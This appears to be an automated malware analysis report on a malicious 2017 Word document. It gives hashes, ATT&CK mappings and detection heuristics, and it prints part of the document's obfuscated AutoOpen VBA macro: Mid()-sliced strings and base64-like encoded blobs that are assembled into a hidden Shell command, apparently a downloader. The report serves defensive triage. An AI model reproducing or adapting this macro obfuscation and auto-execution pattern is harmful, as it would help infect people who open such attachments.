Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 befffcacdf0a3327…

MALICIOUS

Office (OLE)

85.0 KB Created: 2017-10-17 18:19:00 Authoring application: Microsoft Office Word First seen: 2017-10-28
MD5: 31e3df0fc53c3243925d6f7d5d2d542a SHA-1: d28b0fd2998ec81af428a8bbb38745129653a511 SHA-256: befffcacdf0a332761313f820c7527c9e18afb0b2b96871fa3ae6cdb78a1710c
284 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample contains a VBA macro with an AutoOpen function, which is a common technique for executing malicious code upon opening the document. The macro utilizes a Shell() call, indicating an attempt to execute an external command. This strongly suggests the document is a malicious attachment designed to download and execute a secondary payload.

Heuristics 9

  • ClamAV: Doc.Macro.Obfuscation-6355576-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.Obfuscation-6355576-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Password-protected archive handoff high SE_PASSWORD_ARCHIVE_LURE
    Document gives password instructions for an archive or attachment — often used to keep payloads encrypted until after gateway scanning
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 46342 bytes
SHA-256: fde8ae3c618132ace93f183dde0c5ba1ee269ada44f96d3311256e5dcd242606
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 84 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"
Function wVZbiJdqF()
TJnaN = "SR72JFO4QIVGpAWmXwFGPiMUwnUtMLlqUFzMrDrWrAIwmjFhCsaunVlFbmNtAjZtXimjBJuTGjPPVOiQhnrUkqCwUukFqwWKaPPTQA61KNJMV07J"
WFSsAq = Mid(TJnaN, 10, 89)
LsmrRQqhI = WFSsAq
bzaEvF = "101NZLT0SLSPPXTzolSlnGcMOvnuKjjEGhjADZCJM71PCA4M0DJBJJIH0C"
alRww = Mid(bzaEvF, 16, 24)
MFIHK = alRww
tHlasHhkC = "DMGNW4E2VCXE9MHFcpcLUHiHNjTlpoffCwqczOomPVDmpIKaDqtkwToWHzmQYTmJtnBTWiIOAqvzDvSFYsiwvujjJTVzcYNwittBHqEYiikHXpSLihrjloOwHRJCJIlcdzQJCRzioJPQKZMUBZP003QPSV8DRI50X35I"
OjRWYis = Mid(tHlasHhkC, 14, 132)
mJqba = OjRWYis
nRhFadRbUi = "ONCAK6ABLL0DD7VCXKMC4LFX3JcurYqkwiwFNRXiKozwVUJANLPEmsvUqtPjprwhmcRMoozOLWvtiCiFtbjfJmzEndPTCosSrPLsCwMZNAsQwBloLJqNLQYzfMZKZdMWddCTqpDwPHRJtjIlraItwiHarMNpWBzjnVnSzS G"
EBRoDp = Mid(nRhFadRbUi, 27, 140)
kZpck = EBRoDp
Brokvj = "PDCP116NYR8XXmNRidFscSqpNrfZUCsFiGrlXBHzMEfvsBLR9FQ"
kPCBLhTVQ = Mid(Brokvj, 13, 33)
LFaFEXJ = kPCBLhTVQ
pLssiq = "ERE1TJVvjhLufvupjBPatHiYZIJMjJrbYznhFpBAmqvwoWiGXHBmupXCvovsAILWpjVhIMkqzPnCLijCiCpbHFjiakmQuJziiZGEAwwLXLnfCUrNEsOzTkPkCnHXZTwqPIYCWO00E1"
jURuW = Mid(pLssiq, 6, 126)
mSDzTifXP = jURuW
rwmZhFbE = "4AI3X1KLHYMUMDCYAB7YpLANQTKpviqIFbpKhVirizPLafGBiwPwGDYdmmXwbpwMbqDcTMEDXGNqwpmlNJHzSrCCCLYvzkPsDDkkcdiVrLbzqihwAmkSiwtjoAaHoJGmrUmtFBJjblIHQCMTibuLzwKGJAvbDahiEoIVvnrwcBrRGVKQO1"
ZcNozliWDq = Mid(rwmZhFbE, 21, 151)
ZLciTtlofu = ZcNozliWDq
LnNhczjVEF = "AADZLX3PH6avGBvcmPKhJfPjuzjLlDwHumQiBoPdfnUfUKoolEckTnYYfKjdRjMuiSAUkNbwAjCWLkPkJrZjbLnHNsCqHlMzbawBJTEYdikmkCAF460D"
UnZrOuVlwz = Mid(LnNhczjVEF, 11, 100)
jViBldw = UnZrOuVlwz
srGrw = "7QY2JCMAFBKM9WXaHuVjswHnEGVjNDzLNpFIhbnPGZodIMEpGnaWMGwVdCwrwKWBsmJVUGsfGGZTJdfrCjdacbzGrkffdwQvCmlWDiUzuvPFjfMAXGpRhwZRnCdkbNCKpiQWrIoTLdfhLtZMYfIWGwOGNUjAFkYjsFQCOpIOSVGDQrFtdRMvFjDqPJIXZnObFwpFdWziXuDlsKpWOpXnYdbMCZmFjkofGiwRCzQGUdYLcSwFTmJjPbDbXcDEjrCmFYiNMYTPZRSuEQjjahltbEPfbWuZvLWcOGHREN9"
OCXjUpmq = Mid(srGrw, 16, 273)
kQsFh = OCXjUpmq
FLEzZ = "2XK2I56AQTH795mbiBhDiEwRBfFtZMBuCLtKWBNoblDOwQtwElZqjuojSSBHCiAHuvNzicEdoscsBhVllJonmLOHWNrEAGmwlvUADvRchwCnRwfkwQVspMVjhFbRkzchGfHFNUiqrMGqIaqaiGHkluHZalSzUArhTVhlpZXcifAcGfaHOBjdsswMYifbBkVrVYWnsElIjfBFtiSuKLiSRNpbYVMGuvawJJHhJnOKQauMqqSuPkRqBCaHjuOXsiOnFDwkWklXwYCqTckhCRrJijwGjAwOYrSmMHHnuiYiwttcAjoGKjUamEL22EH9C9N0"
cjMjKQ = Mid(FLEzZ, 15, 296)
VsNpj = cjMjKQ
jpkbZzduJW = "QMMvvwUZGjSWftGsLkqPTCvlnNaqmBCzbBWLfGvLRmtvHaWQNMNsnVSiGbIhVdnEdUvdWvMEpfwjJAdNrJdaoJJFioEEwOpnzoRmfsuRzJDIXmYGzvTUGZTYROM4B5SKQYL3KSZ1KDP2ICNG2TXPQF"
iFDhrPtit = Mid(jpkbZzduJW, 3, 112)
rzvzipN = iFDhrPtit
GbRsqocq = "ZalFEnktvTtJwIIXGtTdBGJLAIwlpduTNuqUTKivqopahvQWTzojbiUVRaEvpwDSYavESnEvO8DR97SSMCRZW27OSU6M9"
QZHrIP = Mid(GbRsqocq, 2, 72)
KHQwai = QZHrIP
zbuqqmGEG = "H9ZB6RBD16P3RMYREvHEjwzDNjNcLiQiwlLpfQvbuhWGfXmvzvnjSPTwGitLYuqYihFujCmnAfKCZtXpuRfPvjMiSPjAXjDzqwXwRrLuJAimFRWMHERGOadCVXcUTlPQcKLbWZXCGlFuzZdAsWtSSwkPUVduPqaXkSKuFuqhhOAdViEvtbbzszwf4YOPEE8FH5TIF8"
oPjlob = Mid(zbuqqmGEG, 16, 169)
KXiEznkFU = oPjlob
mJqba mSDzTifXP + VsNpj + LsmrRQqhI + kQsFh + KHQwai + LFaFEXJ + KXiEznkFU + jViBldw + rzvzipN + ZLciTtlofu + MFIHK + kZpck, 0
End Function
Function GhHTTCPpd()
CSDhP = "5AMQA2ACwAMQAxADIAIAAsADUAOAAsADQANwAgACwANAA3ACwAIAAxADEAMgAgACwAIAAxADEANAAsACAAOQA3ACAALAAgADEAMgAwACwAIAAxADAANQAsADEAMQA1ACwAIAAxADAAOAAgACwAMQAxADcAIAAsADEAMAA5ACAALAAgADEAMQAyACwAMQAxADIAIAAsADQANgAsACAAMQAwADAAIAAsACAAMQADXQUCVLAU2C82RR8FJ58DQUMPWEGK7"
aBjEstA = Mid(CSDhP, 2, 228)
JzDjW = aBjEstA
bDpdUfPEa = "HUZG1RLwAsACAANAA3ACAALAA5ADcAL16O551"
EJTVMcX = Mid(bDpdUfPEa, 8, 23)
XNbqBEEwC = EJTVMcX
UaSGkBkYXdu = "5KE5WYK43K7E5YS1AxACwAOQA5ACwAIAAxADEANgAgACwAIAAzADIALAA0ADUALAA2ADcALAAxADEAMQAsACAAMQAwADkAIAAsADcAOQAgACwAOQA4ACAALAAgADEAMAA2ACwAIAAxADAAMQAgACwAIAA5ADkALAAgADEAMQA2ACwAMwAyACAALAAgADgANwAsADgAMwAsACAAOQA5ACwAMQAxADQAIAAsACAAMQAwADB0A3D"
waC
... (truncated)

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